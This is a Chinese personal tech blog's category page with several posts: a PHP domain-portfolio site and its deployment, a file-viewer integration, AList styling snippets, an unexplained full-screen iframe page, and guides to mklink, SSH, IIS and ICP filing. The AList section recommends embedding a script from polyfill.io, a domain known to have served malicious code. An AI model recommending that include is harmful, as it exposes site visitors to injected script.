分类 解决方案 下的文章 - 陈芝佐's 兴趣博客

分类 解决方案 下的文章

效果演示站:
https://www.yuming.biz/
使用工具:
WorkBuddy

提示词:

# 米表项目介绍
我是一个域名投资者,现在需要做一个米表网站来整理和展示个人持有的所有域名。

## 基本要求
脚本语言:使用原生PHP代码编写,不使用第三方框架,支持PHP8。数据库使用MySQL5.7。
架构:前后端分离,管理后台在admin目录下。
界面:使用亮色风格,具有现代化与专业化。

## 界面细节
前端界面使用上下结构,内容依次为:
- 头部导航
- BANNER轮播,高度100px
- 域名筛选器,筛选后缀(多选)、注册平台(多选)、价格范围、状态、排序(域名字符、价格顺逆序)
- 域名信息块,包含域名、价格(0显示为议价,其他数字正常)、介绍、注册平台、状态、详情链接等
- 联系方式
- 域名资讯
- 友情链接
- 底部版权+备案信息

后端界面使用左右分栏:左侧功能导航,右侧设置表单

# 网站功能

## 首页
综合展示域名以及联系方式等基本信息。

## 注册商展示
LOGO墙展示所有注册商。

## 域名资讯
列表展示资讯链接,每页展示20条。
标题 日期 平台

## 后台
### 网站基本信息
网站标题
网站关键词
网站描述
底部版权信息
网站备案号(工信备案,公安备案)
统计代码

### 域名列表管理
域名基本信息:
- 域名:文本,自主填写
- 后缀:文本,自主填写
- 注册平台:下拉选择注册平台
- 注册时间,过期时间:时间,自主填写
- 价格:数字,自主填写
- 简介:文本,自主填写
- 状态:下拉选择(在售、展示、已售)
- 详情链接:网址链接,自主填写,前台会显示指向此链接的按钮

### 域名分类管理
- 域名分类名称

### 域名注册商管理
- 注册商名称
- 注册商网址
- 注册商LOGO
- 注册商简介
- 注册商排序

### 友情链接管理
- 链接名称
- 链接网址
- 链接LOGO
- 链接排序

### 域名资讯管理
本网站不做内容存储,仅提供资讯链接。
- 资讯标题
- 资讯链接
- 发布平台
- 发布日期

做出来的效果还不错,不用修改就可以直接上线。

屏幕截图_2-8-2026_214111_www.yuming.biz.jpeg

项目开源:https://pan.chenzhizuo.com/file.php?hash=2210ce8d3b596810c192e4c5fdb62ff7

部署方法:

# 米表网站(原生 PHP + MySQL)

一个用于域名投资者整理、展示、出售个人域名的米表网站。

- 技术栈:原生 PHP 8(无框架)、MySQL 5.7、PDO
- 架构:前后端分离,后台位于 `admin/` 目录
- 风格:亮色、现代化、专业化

---

## 目录结构

```
mitable/
├── config.php          # 数据库/上传等配置 + 公共函数(前后台共用)
├── db.sql              # 数据库建表与种子数据
├── install.php         # 在线安装(导入 db.sql,用完即删)
├── index.php           # 前台首页(导航/BANNER/筛选/域名块/联系/资讯/友链/底部)
├── registrars.php      # 注册商 LOGO 墙
├── news.php            # 域名资讯列表(每页 20 条)
├── tpl/                # 前台公共头/尾
├── assets/             # CSS / JS
├── uploads/            # 上传的图片(注册商LOGO、友链LOGO、BANNER)
└── admin/              # 后台管理
    ├── login.php / auth.php / logout.php
    ├── index.php       # 概览
    ├── site.php        # 网站基本信息
    ├── domains.php     # 域名列表管理
    ├── categories.php  # 域名分类管理
    ├── registrars.php  # 注册商管理
    ├── friendlinks.php # 友情链接管理
    ├── news.php        # 域名资讯管理
    ├── banners.php     # BANNER 管理
    └── password.php    # 修改管理员密码
```

---

## 部署步骤

### 1. 准备环境
- 一台支持 PHP 8 的 Web 服务器(Apache / Nginx + PHP-FPM)
- MySQL 5.7(或兼容版本)
- 将整个 `mitable/` 目录上传/复制到网站根目录

### 2. 配置数据库
打开 `config.php`,修改以下常量:

```php
define('DB_HOST', 'localhost');
define('DB_PORT', '3306');
define('DB_NAME', 'mitable');   // 必须是主机实际分配给你的库名(虚拟主机通常带前缀,如 tsql_mitable)
define('DB_USER', 'root');     // 改为你的数据库用户名
define('DB_PASS', '');         // 改为你的数据库密码
```

> ⚠️ **常见错误 `1044 Access denied`**:虚拟主机/面板的数据库账号通常**没有建库权限**,且只能访问名称带账号前缀的数据库。
> 解决:先在主机面板里创建好数据库(如 `tsql_mitable`),然后把 `DB_NAME` 改成这个真实库名,`DB_USER` / `DB_PASS` 用面板提供的账号。
> 本安装程序**不会**自动建库,只会连上已存在的库并建表。

### 3. 初始化数据库(二选一)

**方式 A:在线安装(推荐,无需命令行)**
1. 先在主机面板创建数据库(如 `tsql_mitable`),并在 `config.php` 把 `DB_NAME` 设为它
2. 浏览器访问 `http://你的域名/install.php`
3. 点击“开始安装”,自动建表并写入种子数据
4. **务必删除 `install.php` 文件!**

**方式 B:命令行导入**
```bash
mysql -u 用户名 -p
CREATE DATABASE 你的库名 CHARACTER SET utf8mb4;
exit
mysql -u 用户名 -p 你的库名 < db.sql
```

### 4. 设置目录权限
确保 `uploads/` 目录可被 Web 服务器写入(用于上传图片):
```bash
chmod -R 755 uploads   # Linux 环境
```

### 5. 登录后台
- 访问 `http://你的域名/admin/`
- 默认账号:`admin`
- 默认密码:`admin123`
- 登录后请尽快在「修改密码」中更改,并在「网站信息」中完善备案号等信息

---

## 后台功能一览

| 模块 | 说明 |
|------|------|
| 概览 | 各数据量统计与快捷入口 |
| 域名列表 | 增删改查;字段含域名、后缀、注册平台、注册/过期时间、价格(0=议价)、简介、状态(在售/展示/已售)、详情链接、排序、分类 |
| 域名分类 | 分类名称与排序 |
| 注册商 | 名称、网址、LOGO、简介、排序 |
| 友情链接 | 名称、网址、LOGO、排序 |
| 域名资讯 | 仅存链接(标题/链接/平台/日期),前台每页 20 条 |
| BANNER | 图片/文字 + 跳转链接,前台 100px 轮播 |
| 网站信息 | 标题、关键词、描述、版权、工信部/公安备案号、统计代码、联系方式 |
| 修改密码 | 修改后台登录密码 |

---

## 前台说明

- **BANNER 轮播**:高度 100px,自动切换(3.5s)
- **域名筛选器**:后缀(多选)、注册平台(多选)、价格区间、状态、排序(域名字符少→多 / 多→少 / 价格低→高 / 高→低)
- **域名信息块**:展示域名、价格(0 显示“议价”)、简介、注册平台、状态、详情按钮
- **价格展示**:`0` 显示为「议价」,其余显示「¥数字」
- **底部**:友情链接 + 版权 + 工信部/公安备案号

---

## 安全提示
- 安装完成后删除 `install.php`
- 修改默认管理员密码
- 生产环境建议在 Web 服务器层对 `admin/` 增加额外访问限制(如 IP 白名单 / Basic Auth)
- 上传目录 `uploads/` 建议禁止执行 PHP

我自己部署了一个网盘服务,用的是彩虹外链网盘程序。用于文件中转站,以及公开文件外链。因为程序主要解决的是存储和外链的功能,网盘内文件预览的功能就没做多少,目前仅支持常规图片和音频视频文件预览播放,以及站外引用微软文档预览服务(view.officeapps.live.com)预览Office文档。

现在我想给这个程序增加预览更多文件格式的能力。但鉴于自己编程能力以及时间精力有限的问题,一直没有做。

今天在浏览阮一峰的科技爱好者周刊(第 402 期)时,看到了开源的File Viewer项目,觉得特别适合集成在彩虹外链网盘程序上,所以现在立刻行动起来,一边编辑此片博文,一边一步一步进行集成。

fileviewer.png

File Viewer:https://github.com/flyfish-dev/file-viewer

通过阅读项目文档,了解主要可以通过两种方式接入,一种是直接 Script 标签引用官方JS,通过几行代码,加载预览功能。二是把项目运行在自己的服务上,再通过引用本地接口加载功能。

因为不想费事,决定用最简便的方式,简单修改一下彩虹外链网盘的程序文件,引用站外JS加载预览功能。

<script src="https://cdn.jsdelivr.net/npm/@file-viewer/web-full@latest/dist/flyfish-file-viewer-web-full.iife.js"></script> 

2026-8-2 更新(jsdelivr源有资源大小限制,更换JS引用源):

<script src="https://unpkg.com/@file-viewer/web-full@latest/dist/flyfish-file-viewer-web-full.iife.js"></script> 

<flyfish-file-viewer src="/files/report.pdf" theme="light" toolbar-position="bottom-right" style="display:block;height:720px"></flyfish-file-viewer> 

fileviewerjs.png

我详细阅读了彩虹外链网盘PHP代码,了解了程序自带的预览功能逻辑:

  1. 上传文件时,upload.php 程序获取文件的文件名、文件后缀、文件大小、HASH值等基本信息,并写入数据库;
  2. file.php 是文件查看功能,读取数据库获得对应文件的基本信息,引用 includes/functions.php
    再通过文件后缀名判定函数,开启对应文件的预览功能;

    • 图片、音频、视频文件直接调用相关组件预览显示(具体文件格式参见“后台管理>系统设置>文件上传设置”);
    • doc、docx、xps、rtf、wps、xls、xlsx、ppt、pptx等文件显示在线预览按钮,链接到微软文档预览器;
    • 其他格式文件直接显示下载按钮。
  3. 图片格式可以用view.php预览,音频和视频文件可以用player.php预览。

最后经过考虑,决定不大幅度改动原程序的文件,做如下改动:

  1. 参考 player.php 代码,新写一个 viewer.php 用于预览文件;
  2. 不改动 file.php 自带的预览功能,在页面增加一个“文件预览”按钮;
  3. 修改 index.php 文件在首页的文件列表增加一个预览链接;
  4. 在管理后台的文件列表也增加一个预览链接的,需要改动 admin/file.php 和 admin/ajax_file.php 两个文件。

效果如下:
panfileview.png
panindex.png
panadminfile.png

具体效果演示可以访问我的网盘查看:
https://pan.chenzhizuo.com/

改动的文件如下,可以下载部署到你自己的彩虹外链网盘项目中。可以按需选择要修改的位置,修改或替换对应文件:
viewer.php -彩虹外链网盘文件预览插件
file.php -彩虹外链网盘文件查看页
index.php -彩虹外链网盘首页文件
admin/ajax_file.php -彩虹外链网盘管理员后台文件列表获取
admin/file.php -彩虹外链网盘管理员后台文件列表

注:彩虹外链网盘V5.6 (Build 1532)

<html>
<head>

<meta charset="UTF-8">
<meta id="viewport" name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no">
<title>网站标题</title>
<style>
    html,
    body,
    iframe {
        width: 100%;
        height: 100%;
        padding: 0;
        margin: 0;
    }
    #wrap {
        width: 100%;
        height: 100%;
    }
    iframe {
        border: none;
    }
</style>

</head>
<body>

    <script>
    document.write("<style>body{visibility:hidden;}</style>");
    var desktopUrl = "/pc.html";
    var mobileUrl = "/mb.html";
    function isMobileDevice() {
        return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
    }
    function initFrame() {
        var frame = document.createElement("div");
        frame.id = "mobile-frame";
        frame.style.cssText = "position:fixed;top:0;left:0;z-index:9999;height:100vh;width:100vw;background:#fff";
        var iframe = document.createElement("iframe");
        iframe.id = "showcloneshengxiaon";
        iframe.style.cssText = "width:100%;height:100%;border:none";
        iframe.src = isMobileDevice() ? mobileUrl : desktopUrl;
        frame.appendChild(iframe);
        document.body.appendChild(frame);
        document.body.style.visibility = "visible";
        document.documentElement.style.overflow = "hidden";
        document.body.style.overflow = "hidden";
        var oMeta = document.createElement("meta");
        oMeta.name = "viewport";
        oMeta.content = "width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no";
        document.head.appendChild(oMeta);
    }
    document.addEventListener("DOMContentLoaded", initFrame);
</script>

</body>
</html>

宝塔面板

官网:https://www.bt.cn/
简介:宝塔(bt.cn),让运维简单高效。面板支持Linux与Windows系统。一键配置:LAMP/LNMP、网站、数据库、FTP、SSL,通过Web端轻松管理服务器。

宝塔Linux面板
宝塔Windows面板

宝塔面板是我用的第一款服务器面板,我以前用的都是Windows系统的服务器,最常用的就Windows宝塔。最近几个月迷上了Linux系统的服务器,前几天也把本博客迁移到了Linux服务器上,本博服务器就是宝塔Linux面板。


1Panel

官网:https://1panel.cn/
简介:1Panel - 现代化、开源的Linux服务器运维管理面板。

1Panel
1Panel开源项目

其实我服务器上并没有使用1Panel,全是宝塔。我飞牛NAS上用的是1Panel,从飞牛应用商店里安装的,目前仅限于学习体验,暂时还没有大面积使用1Panel。


GMSSH

官网:https://www.gm.cn/
简介:GMSSH | 下一代 AI 驱动的可视化 SSH 客户端 & 服务器运维面板 (兼容 Windows/Mac/Linux)。告别繁琐命令行,GMSSH 提供类桌面式操作体验,集成 Docker 管理、LNMP 环境一键配置及 Gemius AI 智能助手。支持多端同步与 MFA 安全认证,让 Linux 运维像操作本地电脑一样简单。

GMSSH
GMSSH Web在线版

我电脑上现在安装了GMSSH,连接了所有服务器,但并没有使用GMSSH宣传的特色功能。反倒用它查看服务器运行状态,看看有没有宕机,以及执行SSH命令。


飞牛 FnOS

官网:https://fnnas.com/
简介:飞牛fnOS是由骨灰级玩家团队倾心打造的NAS系统,融合AI本地端模型,致力于为家庭和企业提供高效、安全的存储解决方案。基于Linux内核(Debian发行版)深度开发,兼容主流x86硬件设备,支持自由组装NAS和扩展外部存储。

FnOS下载

我的NAS使用的就是飞牛fnOS。在接触FnOS之前,我只会用Windows系统,包括电脑和服务器。使用了FnOS之后才逐渐深入了解了Linux系统,慢慢的服务器也都转了Linux。我在其中一台服务器上安装了FnOS,体验了有公网的NAS。不过因为存储容量和流量费用的问题,主要用的还是本地NAS。


待体验的服务器管理软件:

  • Kangle
  • cPanel

通过 Alist V3 或 OpenList V3 构建网盘管理网站,很多人想修改页面元素的样式,比如网页背景、字体,去除底部版权申明(不建议)、按钮等。

本文会列举一些修改方法,方法来自网络,我略有修改,来源见文章底部。

可以通过 CSS 隐藏页面底部的“由 AList 驱动和管理”文字。

在自定义头部输入框添加以下内容:

<style>
/* 隐藏页面底部的由 AList 驱动和管理 */
.footer .hope-stack { display: none; }
</style>

登录链接隐藏了,仍然可以通过 http://ip:5244/@managehttp://ip:5244/@login 进入 AList 管理页面。

也可以通过添加页面元素显示登录链接,在自定义底部输入框添加以下内容:

<div style="width:100%;text-align: center;"><a href="http://ip:5244/@login ">登录</a></div>

更多样式修改

<style>
/* 自定义背景图片 */
body {background: url("图片地址") 0 0/cover;}

/* 文件列表的不透明度,根据需要调整 */
.obj-box.hope-stack { opacity: 0.8; }

/* 去除通知栏 右上角 X */
.notify-render .hope-close-button {display: none;}

/*白天背景图*/
.hope-ui-light {
    background-image: url("图片地址") !important;
    background-repeat:no-repeat;
    background-size:cover;
    background-attachment:fixed;
    background-position-x:center;
}

/*夜间背景图*/
.hope-ui-dark {
    background-image: url("图片地址") !important;
    background-repeat:no-repeat;
    background-size:cover;
    background-attachment:fixed;
    background-position-x:center;
}

/*主列表白天模式透明*/
.obj-box.hope-stack.hope-c-dhzjXW.hope-c-PJLV.hope-c-PJLV-igScBhH-css {
    background-color: rgba(255, 255, 255, 0.5)!important;
}

/*主列表夜间模式透明*/
 .obj-box.hope-stack.hope-c-dhzjXW.hope-c-PJLV.hope-c-PJLV-iigjoxS-css {
    background-color:rgb(0 0 0 / 50%)!important;
}

/*readme白天模式透明*/
.hope-c-PJLV.hope-c-PJLV-ikSuVsl-css {
    background-color: rgba(255, 255, 255, 0.5)!important;
}

/*readme夜间模式透明*/
.hope-c-PJLV.hope-c-PJLV-iiuDLME-css {
    background-color:rgb(0 0 0 / 50%)!important;
}

/*顶部右上角切换按钮透明 第一个是白天 第二个是夜间*/
.hope-ui-light .hope-c-ivMHWx-hZistB-cv.hope-icon-button {
    background-color: rgba(255, 255, 255, 0.3)!important;
}
.hope-ui-dark .hope-c-ivMHWx-hZistB-cv.hope-icon-button {
    background-color:rgb(0 0 0 / 10%)!important;
}

/*右下角侧边栏按钮透明 第一个是白天 第二个是夜间*/
.hope-ui-light .hope-c-PJLV-ijgzmFG-css {
    background-color: rgba(255, 255, 255, 0.5)!important;
}
.hope-ui-dark .hope-c-PJLV-ijgzmFG-css {
    background-color:rgb(0 0 0 / 50%)!important;
}

/*白天模式代码块透明*/
.hope-ui-light pre {
    background-color: rgba(255, 255, 255, 0.1)!important;
}

/*夜间模式代码块透明*/
.hope-ui-dark pre {
    background-color: rgba(255, 255, 255, 0)!important;
}

/*底部CSS,.App .table这三个一起的*/
dibu {
    border-top: 0px;
    position: absolute;
    bottom: 0;
    width: 100%;
    margin: 0px;
    padding: 0px;
}
.App {
    min-height: 85vh;
}
.table {
    margin: auto;
}

/*去掉底部*/
.footer {
    display: none!important;
}

/*全局字体*/
* {font-family:LXGW WenKai}
* {font-weight:bold}
body {font-family: LXGW WenKai;}

/*渐变背景CSS*/
#canvas-basic {
    position: fixed;
    display: block;
    width: 100%;
    height: 100%;
    top: 0;
    right: 0;
    bottom: 0;
    left: 0;
    z-index: -999;
}

/* 隐藏右侧操作按钮 */
/* 隐藏 本地设置 */
svg[tips="local_settings"] { display: none; }

/* 隐藏 开关复选框 */
svg[tips="toggle_checkbox"] { display: none; }

/* 隐藏 离线下载 */
svg[tips="offline_download"] { display: none; }

/* 隐藏 上传 */
svg[tips="upload"] { display: none; }

/* 隐藏 批量重命名 */
svg[tips="batch_rename"] { display: none; }

/* 隐藏 移除空的子目录 */
svg[tips="remove_empty_directory"] { display: none; }

/* 隐藏 聚合移动 */
svg[tips="recursive_move"] { display: none; }

/* 隐藏 新建目录 */
svg[tips="mkdir"] { display: none; }

/* 隐藏 新建文件 */
svg[tips="new_file"] { display: none; }

/* 隐藏 刷新 */
svg[tips="refresh"] { display: none; }


/*看板娘,自定义大小,隐藏对话框和对话框高度*/
#waifu #live2d {
    height: 350px!important;
    width: 350px!important;
}
#waifu-tips {
    top: -60px;
    /*display:none !important;隐藏对话框*/
}
</style>

也可以引入其他脚本和文件

<!--看板娘加载指定模型-->
<script>
    localStorage.setItem('modelId', '7');
    localStorage.setItem('modelTexturesId', '3');
</script>
<script src="https://api.itggg.cn/live2dnew/left/index.js"></script>

<!--Alist V3建议添加的,已经默认添加了,如果你的没有建议加上-->
<script src="https://polyfill.io/v3/polyfill.min.js?features=String.prototype.replaceAll"></script>

<!--引入字体,全局字体使用-->
<link rel="stylesheet" href="https://npm.elemecdn.com/lxgw-wenkai-webfont@1.1.0/lxgwwenkai-regular.css" />

<!-- Font6,自定义底部使用和看板娘使用的图标和字体文件-->
<link type='text/css' rel="stylesheet" href="https://npm.elemecdn.com/font6pro@6.0.1/css/fontawesome.min.css" media='all'>
<link href="https://npm.elemecdn.com/font6pro@6.0.1/css/all.min.css" rel="stylesheet">

<!-- 网页鼠标点击特效 - 核心价值观关键字-->
<script>
    (function () {
        var a_idx = 0;
        window.onclick = function (event) {
            var a = new Array("❤富强❤", "❤民主❤", "❤文明❤", "❤和谐❤", "❤自由❤", "❤平等❤", "❤公正❤", "❤法治❤", "❤爱国❤",
                "❤敬业❤", "❤诚信❤", "❤友善❤");
            var heart = document.createElement("b"); //创建b元素
            heart.onselectstart = new Function('event.returnValue=false'); //防止拖动
        document.body.appendChild(heart).innerHTML = a[a_idx]; //将b元素添加到页面上
        a_idx = (a_idx + 1) % a.length;
        heart.style.cssText = "position: fixed;left:-100%;"; //给p元素设置样式
 
        var f = 13, // 字体大小
            x = event.clientX - f / 2 - 30, // 横坐标
            y = event.clientY - f, // 纵坐标
            c = randomColor(), // 随机颜色
            a = 1, // 透明度
            s = 0.8; // 放大缩小
 
        var timer = setInterval(function () { //添加定时器
            if (a <= 0) {
                document.body.removeChild(heart);
                clearInterval(timer);
            } else {
                heart.style.cssText = "font-size:16px;cursor: default;position: fixed;color:" +
                    c + ";left:" + x + "px;top:" + y + "px;opacity:" + a + ";transform:scale(" +
                    s + ");";
 
                y--;
                a -= 0.016;
                s += 0.002;
            }
        }, 15)
    }
    // 随机颜色
    function randomColor() {
        return "rgb(" + (~~(Math.random() * 255)) + "," + (~~(Math.random() * 255)) + "," + (~~(Math
            .random() * 255)) + ")";
    }
}());
</script>

本文转载自:https://miyalian.com/index.php/archives/29.html
上述示例引入的文件,请自行判断安全性。

Windows 命令行工具 mklink 可创建文件/目录的符号链接、硬链接与目录联接,实现路径映射与空间优化。详解四种参数场景:文件符号链接(无参数)、目录符号链接(/D)、硬链接(/H,同磁盘文件)、目录联接(/J,本地目录推荐)。结合典型场景(节省C盘空间、共享数据目录、同步网络资源),提供路径规范、权限管理及故障排查指南,助你高效管理文件系统。


mklink 是 Windows 系统自带的命令行工具,用于创建符号链接、硬链接和目录联接,实现文件或目录的路径映射,从而节省磁盘空间或统一管理数据。以下是其核心用法及注意事项:

一、基本语法

mklink [[/D] | [/H] | [/J]] <Link> <Target>
  • Link:新建的链接路径(需不存在)
  • Target:指向的目标路径(需用英文双引号包裹含空格的路径)
  • 权限要求:必须以管理员身份运行命令提示符(CMD)或 PowerShell。

二、链接类型及使用场景

参数类型适用对象特点示例
无参数文件符号链接文件类似快捷方式,可跨磁盘;图标带箭头,大小为0字节mklink "C:\link.txt" "D:\target.txt"
/D目录符号链接目录支持网络路径(如 \\192.168.1.253\share),跨磁盘;移动后可能失效mklink /D "E:\微云同步" "\\192.168.1.253\WeiyunSync"
/H硬链接文件同磁盘卷内,文件需存在;删除一方不影响另一方,内容实时同步mklink /H "C:\file_link.txt" "C:\original.txt"
/J目录联接目录仅支持本地路径;无快捷方式箭头,兼容性较好(推荐本地目录映射)mklink /J "C:\LinkedFolder" "D:\TargetFolder"

关键区别

  • 跨网络/磁盘 → 用 /D
  • 本地目录映射 → 用 /J(避免权限问题);
  • 同磁盘文件共享 → 用 /H

三、注意事项

  1. 路径规范

    • 目标路径(Target)可为绝对或相对路径,但目录符号链接(/D)使用相对路径时,移动链接会导致失效。
    • 网络路径需确保共享权限开放且稳定(如 \\IP\share)。
  2. 冲突处理

    • Link 路径已存在文件/目录,命令会失败,需提前删除或重命名。
  3. 系统限制

    • 不可对系统关键目录(如 \Windows\Program Files)创建链接,否则破坏系统更新或安装。
    • 避免符号链接嵌套(如 A 链接指向 A 自身),会导致递归错误。
  4. 删除链接

    • 文件链接:用 del Link
    • 目录链接:用 rmdir Link(删除链接不影响目标数据)。

四、典型应用场景

  • 节省 C 盘空间:将 C:\Users\文档 链接到 D:\Documents(用 /J)。
  • 共享数据目录:多版本软件(如通达信)共享同一数据文件夹(如 vipdoc),避免重复下载。
  • 同步网络资源:将远程共享目录(如 NAS)映射到本地驱动器(用 /D)。

操作流程示例(以共享通达信数据为例):

  1. 关闭所有通达信进程;
  2. 备份并移除旧数据目录(如 G:\old_tdx\vipdoc);
  3. 执行:

    mklink /J "G:\old_tdx\vipdoc" "G:\TDX_DATA\vipdoc"
  4. 验证链接是否生效(图标显示为文件夹快捷方式)。

五、故障排查

  • 权限不足:以管理员身份运行 CMD。
  • 网络路径失效:检查共享是否可访问(dir \\IP\share)。
  • 链接不显示箭头:目录联接(/J)无箭头,属正常现象。

通过合理选择参数类型、规范路径格式,并结合使用场景,mklink 能高效解决文件路径映射需求,尤其适合跨磁盘/网络的数据管理。操作前务必备份数据,避免误删关键文件。

SSH(Secure Shell)是一种加密的远程控制协议,用于安全登录服务器、传输文件及端口转发。本文详解其核心功能与7个常用命令:远程登录(ssh)、指定端口连接、密钥免密登录、文件传输(scp)、远程命令执行及端口隧道,助你高效管理服务器。掌握基础命令即可覆盖日常运维需求。


SSH 是什么?

SSH(Secure Shell)就像是一个“加密的管道”,让你可以安全地远程控制另一台电脑(比如服务器)。它比老旧的 Telnet 更安全,因为所有传输的数据(包括密码)都会被加密,防止被黑客窃听。

SSH 的核心功能

  1. 远程登录:用命令行操作另一台电脑(比如公司的服务器)。
  2. 安全传输文件:通过 scpsftp 命令加密传输文件。
  3. 端口转发:绕过防火墙限制,或者加密其他不安全的网络服务(比如远程访问数据库)。

常用命令及解释

1. 连接远程服务器

ssh username@服务器IP地址
  • 例子ssh alice@192.168.1.100
  • 注释:用用户名 alice 登录到 IP 为 192.168.1.100 的服务器,首次连接会提示确认指纹(输入 yes),然后输入密码。

2. 指定端口连接

ssh -p 2222 username@服务器IP地址
  • 注释:如果服务器的 SSH 服务端口不是默认的 22(比如改成 2222),需要用 -p 指定。

3. 用密钥登录(免密码)

ssh -i ~/.ssh/my_key.pem username@服务器IP地址
  • 注释:用私钥文件 my_key.pem 登录(需提前配置公钥到服务器)。

4. 传输文件到远程服务器

scp 本地文件.txt username@服务器IP地址:/远程/路径/
  • 例子scp report.pdf alice@192.168.1.100:/home/alice/
  • 注释:将本地的 report.pdf 加密传输到服务器的 /home/alice/ 目录。

5. 从服务器下载文件

scp username@服务器IP地址:/远程/文件.txt 本地路径/
  • 例子scp alice@192.168.1.100:/data/logs.txt ./downloads/

6. 直接执行远程命令

ssh username@服务器IP地址 "要执行的命令"
  • 例子ssh alice@192.168.1.100 "ls /tmp"
  • 注释:登录服务器后执行 ls /tmp 并返回结果,适合自动化脚本。

7. SSH 隧道(端口转发)

ssh -L 本地端口:目标地址:目标端口 username@服务器IP地址
  • 例子ssh -L 3306:localhost:3306 alice@192.168.1.100
  • 注释:将本地的 3306 端口转发到服务器内部的 3306 端口(比如访问内网数据库)。

其他实用技巧

  • 查看 SSH 版本ssh -V
  • 调试连接问题ssh -v username@IP地址-v 显示详细日志)
  • 退出远程会话:直接输入 exit 或按 Ctrl + D

一句话总结

SSH 就是让你安全地“遥控”另一台电脑的工具,既能操作命令,也能传文件,还能搞网络“隧道”。常用命令就那几个,记住 sshscp 和端口转发就够了!

文章转载自:https://www.cnblogs.com/hwrex/p/18651267

如果在 Windows 操作系统上使用 IIS 服务器部署 EMLOG,可能会遇到浏览器找不到字体文件(如 woff/woff2),导致图标显示为小方块的问题。以下是详细的解决方案:

方案一:添加 MIME 类型

  1. 打开 IIS 管理器

    • 打开“控制面板” -> “管理工具” -> “Internet Information Services (IIS) 管理器”。
  2. 进入 MIME 类型设置

    • 在左侧的连接窗格中选择你的网站。
    • 在右侧的操作窗格中点击“MIME 类型”。
  3. 手动添加 MIME 类型

    • 点击右侧的“添加...”按钮。
    • 添加以下 MIME 类型:
      • 文件扩展名:.woff
      • MIME 类型:application/x-font-woff
      • 文件扩展名:.woff2
      • MIME 类型:font/woff2 (推荐使用此类型)
  4. 保存并刷新页面

    • 添加完成后,点击“应用”保存设置。
    • 清除浏览器缓存并刷新 EMLOG 后台页面,检查图标是否正常显示。

方案二:检查并关闭静态 CDN

  1. 检查是否开启了静态 CDN

    • 如果你启用了静态 CDN,EMLOG 作为动态系统并不完全支持静态 CDN,这可能导致字体加载出现跨域问题,从而导致图标无法正常显示。
  2. 关闭静态 CDN

    • 登录 EMLOG 后台管理界面。
    • 进入相关设置页面,关闭静态 CDN 功能。
    • 保存设置后,清除浏览器缓存并刷新页面,检查图标是否恢复正常。

其他建议

  • 检查文件权限

    • 确保字体文件(如 woff 和 woff2)所在的目录具有正确的读取权限。


  • 浏览器兼容性

    • 尝试在不同的浏览器中打开 EMLOG 后台,确认是否是浏览器兼容性问题。


  • 更新 EMLOG 和插件

    • 确保你使用的是最新版本的 EMLOG 及其插件,以避免已知的兼容性问题。


通过以上步骤,你应该能够解决 EMLOG 后台编辑器图标无法正常展示的问题。如果问题仍然存在,建议查看服务器日志或浏览器开发者工具中的网络请求,进一步排查具体原因。

根据腾讯企业邮箱的使用方式和域名访问形式,是否需要备案主要分为以下两种情况:

需要备案的场景

  1. 通过 "mail.你的域名" 访问网页版邮箱
    根据工信部《非经营性互联网信息服务备案管理办法》规定,若使用个性化登录页(如 mail.example.com)访问企业邮箱网页版,域名必须完成备案。否则该访问方式将被阻断。
    解决方案

    • 若使用腾讯企业邮箱专业版,可通过后台申请免费备案服务;
    • 若为基础版,需自行备案:购买中国大陆服务器后,在服务器提供商(如腾讯云、阿里云)提交备案申请,提供企业营业执照、法人身份证等资料,审核约需10-20个工作日。
  2. 域名指向中国大陆服务器且提供网页服务
    若域名除邮箱外还用于搭建网站(托管于中国大陆服务器),则必须备案。

无需备案的场景

  1. 仅通过官方入口登录网页版
    直接访问腾讯企业邮箱官网(https://exmail.qq.com)登录,无需备案。
  2. 仅使用客户端或移动端收发邮件
    通过 Outlook、Foxmail 或 QQ邮箱APP 等工具收发邮件,不受备案影响。
  3. 域名仅用于邮箱解析,无网页访问
    若仅配置 MX/TXT 等邮箱解析记录,未启用 mail.域名 的网页访问,无需备案。
  4. 服务器位于境外(如中国香港)
    使用非中国大陆服务器托管服务时,无需备案。

备案与实名认证的区别

  • 域名实名认证:所有 .com/.cn 等域名注册后需在域名服务商处提交企业营业执照完成实名认证,否则域名会被锁定。这是使用邮箱的前提,与备案无关。
  • 域名备案:仅针对通过网页访问的场景(如个性化登录页),需向工信部提交备案申请。

操作建议

  • 急需使用邮箱:暂时通过 https://exmail.qq.com 登录,同时启动备案流程。
  • 备案准备

    • 确认域名已完成实名认证;
    • 准备企业营业执照、法人身份证、服务器信息(如腾讯云备案服务号);
    • 登录腾讯云备案系统填写资料并提交审核。
总结:腾讯企业邮箱本身无需备案,但若需通过 mail.你的域名 登录网页版,则域名必须备案。其他使用方式(客户端、官网登录)不受影响。备案前需确保域名已完成实名认证。